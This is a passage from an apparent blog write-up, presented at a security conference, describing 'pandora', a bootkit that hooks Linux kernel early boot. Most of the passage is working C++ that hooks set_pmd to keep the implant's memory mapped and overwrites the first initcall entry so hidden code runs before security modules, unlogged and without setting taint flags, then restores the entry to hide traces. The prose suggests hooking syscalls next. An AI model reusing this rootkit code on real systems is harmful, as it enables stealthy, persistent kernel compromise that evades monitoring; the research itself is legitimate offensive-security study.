<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">SYSV_ABI</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">set_pmd</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">pmdp</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">pmdval</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="n">uintptr_t</span> <span class="n">level2_kernel_pgt</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">driver_va_min</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">driver_va_max</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">driver_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">original</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">index</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">va</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">level2_kernel_pgt</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;level2_kernel_pgt&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">level2_kernel_pgt</span><span class="p">)</span> <span class="o">!=</span>
</span></span><span class="line"><span class="cl">        <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">index</span> <span class="o">=</span> <span class="p">(</span><span class="n">pmdp</span> <span class="o">-</span> <span class="n">level2_kernel_pgt</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pmdval</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">va</span> <span class="o">=</span> <span class="n">X86_64_KERNEL_VA_MIN</span> <span class="o">+</span> <span class="n">index</span> <span class="o">*</span> <span class="n">PS_2M</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">driver_len</span> <span class="o">=</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">PS_4K</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">driver_va_min</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_va</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">PS_2M</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">driver_va_max</span> <span class="o">=</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_va</span> <span class="o">+</span> <span class="n">driver_len</span><span class="p">,</span> <span class="n">PS_2M</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// no-op to preserve our mappings
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">va</span> <span class="o">&gt;=</span> <span class="n">driver_va_min</span> <span class="o">&amp;&amp;</span> <span class="n">va</span> <span class="o">&lt;</span> <span class="n">driver_va_max</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;No-op&#39;d set_pmd targetting %Lx containing our driver</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">va</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// done, unhook
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">va</span> <span class="o">+</span> <span class="n">PS_2M</span> <span class="o">&gt;=</span> <span class="n">driver_va_max</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">jmp_unhook</span><span class="p">(</span><span class="o">&amp;</span><span class="n">set_pmd_ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// unhook at last chance of unhooking if it didn&#39;t try to unmap us
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">va</span> <span class="o">&gt;=</span> <span class="n">X86_64_KERNEL_VA_MAX</span> <span class="o">-</span> <span class="n">PS_2M</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">jmp_unhook</span><span class="p">(</span><span class="o">&amp;</span><span class="n">set_pmd_ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// we are single threaded at this point, so this is safe (although ugly)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">original</span> <span class="o">=</span> <span class="n">set_pmd_ctx</span><span class="p">.</span><span class="n">from</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">jmp_unhook</span><span class="p">(</span><span class="o">&amp;</span><span class="n">set_pmd_ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">decltype</span><span class="p">(</span><span class="o">&amp;</span><span class="n">set_pmd</span><span class="p">)</span><span class="o">&gt;</span><span class="p">(</span><span class="n">original</span><span class="p">)(</span><span class="n">pmdp</span><span class="p">,</span> <span class="n">pmdval</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">jmp_hook</span><span class="p">(</span><span class="n">original</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">set_pmd</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">set_pmd_ctx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Finally, in <code>permanent_mapping_setup</code>, hook <code>set_pmd</code> through the wrapper/helper function:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">extern</span> <span class="s">&#34;C&#34;</span> <span class="kt">void</span> <span class="n">permanent_mapping_setup</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">do_hook_cleanup_highmap</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to hook cleanup_highmap</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="c1">// more here later...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div><p>Now we have a permanent mapping which persists forever. Time to weaponize it. At this point, the kernel isn&rsquo;t initialized properly. Initcalls are what finalize the kernel startup, and they are called before security modules (depending on which initcall you pick), and they&rsquo;re before usermode processes are spawned, too. That is the next target.</p>
<h3 id="initcall-hook">initcall hook</h3>
<p><code>do_hook_initcalls</code> scans kallsyms for <code>__initcall7_start</code> down to <code>__initcall0_start</code> and hooks the first entry to point at <code>first_initcall_hook</code>. Initcalls can either be a disp32 or absolute address array. <code>CONFIG_HAVE_ARCH_PREL32_RELOCATIONS</code> makes so initcall entries are 32-bit displacements instead of absolute function pointers. If the length of an initcall section is not a multiple of sizeof(void *), it&rsquo;s prel32. Additionally, if it is a table of absolute function pointers, every entry should point to valid, mapped memory:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">do_hook_initcalls</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">initcall_name</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#34;__initcall7_start&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">__initcall_end</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">kallsyms</span><span class="o">::</span><span class="n">kallsyms_err_t</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">first_level</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">found_bitmask</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">prel32_relocations</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">ret</span> <span class="o">=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;__initcall_end&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__initcall_end</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Could not find __initcall_end</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">found_bitmask</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">prel32_relocations</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="n">initcall_name</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// current initcall level digit is at index 10 of the string
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="n">initcall_name</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">found_bitmask</span> <span class="o">|=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// if highest level, subtract from __initcall_end
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">7</span> <span class="o">||</span> <span class="p">(</span><span class="n">found_bitmask</span> <span class="o">==</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">i</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">len</span> <span class="o">=</span> <span class="n">__initcall_end</span> <span class="o">-</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// if its an array of absolute addresses, remainder cannot be 0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// this detects CONFIG_HAVE_ARCH_PREL32_RELOCATIONS heuristically
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L112
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">((</span><span class="n">len</span> <span class="o">%</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">prel32_relocations</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">found_bitmask</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">len</span> <span class="o">=</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">((</span><span class="n">len</span> <span class="o">%</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">prel32_relocations</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initcall_name</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">found_bitmask</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// the number of trailing zeros in bitmask represents the first level found
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">first_level</span> <span class="o">=</span> <span class="n">__builtin_ctz</span><span class="p">(</span><span class="n">found_bitmask</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">prel32_relocations</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">size_t</span> <span class="n">range_mapped</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">len</span> <span class="o">=</span> <span class="n">__initcall_end</span> <span class="o">-</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_mapped</span> <span class="o">=</span> <span class="n">pt</span><span class="o">::</span><span class="n">mapped_range_from</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">range_mapped</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">len</span> <span class="o">=</span> <span class="n">range_mapped</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">uintptr_t</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">uintptr_t</span> <span class="n">current</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">]</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// an array of absolute addresses cannot have entries to invalid memory. if any fails,
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// this must be a CONFIG_HAVE_ARCH_PREL32_RELOCATIONS kernel
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">current</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">prel32_relocations</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">config_have_arch_prel32_relocations</span> <span class="o">=</span> <span class="n">prel32_relocations</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">first_initcall_table</span> <span class="o">=</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">prel32_relocations</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">rel32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">hook_rel32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L117
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/compiler.h#L258
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">rel32</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="n">original_first_initcall</span> <span class="o">=</span> <span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">]</span> <span class="o">+</span> <span class="n">rel32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">hook_rel32</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">intptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">first_initcall_hook</span><span class="p">)</span> <span class="o">-</span>
</span></span><span class="line"><span class="cl">                                      <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">intptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">first_initcall_table</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">])</span> <span class="o">=</span> <span class="n">hook_rel32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/include/linux/init.h#L124
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">original_first_initcall</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">__initcall_start</span><span class="p">[</span><span class="n">first_level</span><span class="p">])</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">        <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">first_initcall_hook</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The hook itself wraps the original entry call, restores it and <code>printk</code>s &ldquo;pandora was here :)&rdquo;. From here onwards, this is effectively a hidden LKM which lives outside modules virtual address space, was never logged, exists prior to security modules, doesn&rsquo;t touch taint flags at all. The sky is the limit. Typically, you&rsquo;d hook a function pointer for usermode-&gt;kernelmode communication, hook a syscall, etc. You&rsquo;re not limited to a <code>printk</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">SYSV_ABI</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">first_initcall_hook</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;_printk&#34;</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">printk</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">printk</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">&#34;pandora was here :)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// restore — appears nothing ever happened
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">first_initcall_table</span><span class="p">)</span> <span class="o">=</span> <span class="n">original_first_initcall</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="k">reinterpret_cast</span><span class="o">&lt;::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">initcall_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">original_first_initcall</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>One last thing: <code>permanent_mapping_setup</code> should now also call <code>do_hook_initcalls</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl">  <span class="c1">// thanks to @polyduekes for the initcall hooking idea
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">do_hook_initcalls</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to hook initcalls</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="the-end">The end?</h2>
<p>If you take a deep look in the source code, you&rsquo;ll discover this project is not even close to complete. In the private branch, I am already working on the windows version-agnosticism part. Ironically, you could call my &ldquo;version-agnosticism&rdquo; version-hypergnosticism instead. Nevertheless, I am satisfied enough with this current version, so I decided to present it at BSides CWB 2026, in Brazil. So far, it has been a great experience and I&rsquo;ve made some friends along the way. More writeups will follow the development.</p>
<p>Source code at <a href="https://github.com/vtl0/pandora">https://github.com/vtl0/pandora</a></p>
]]></content:encoded>
    </item>
  </channel>
</rss>
